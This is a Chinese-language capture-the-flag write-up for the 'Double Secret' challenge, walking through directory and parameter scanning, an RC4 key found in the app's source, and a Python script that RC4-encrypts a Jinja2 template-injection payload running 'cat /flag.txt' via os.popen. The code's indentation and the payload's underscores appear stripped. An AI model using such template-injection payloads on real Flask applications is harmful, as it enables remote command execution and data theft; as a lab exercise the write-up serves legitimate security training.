0%

RC4+SSTI模板注入

2025-07-22 12:29By
endowment
SSTIFlaskJinja2

Problem: [CISCN 2019华东南]Double Secret

思路

目录扫描参数扫描,RC4加密,SSTI模板注入
1.看到题目,看看请求头和响应头没有什么有用的信息决定目录扫描
NSSIMAGE
2.看到了三个目录,一个个看要求我们输入PIN我们不知道,然后看看源码发现有一个secret,继续看,提示这是安卓CTF,继续看,让我们告诉他secret,我们知道secret,但是不知道参数是什么,arjun扫一下NSSIMAGENSSIMAGENSSIMAGE
3.给出了参数是secret直接传参!!!NSSIMAGE
4.看到了app.py主文件,看一下代码发现是一个RC4加密,给了我们密钥,直接来RC4加密脚本,给我们要执行的命令进行rc4加密然后上传就可以了NSSIMAGE

EXP

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.class.base.base.subclasses()[71].init.globals['os'].popen('cat /flag.txt').read()}}")

总结

目录扫描参数扫描,RC4加密,SSTI模板注入

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论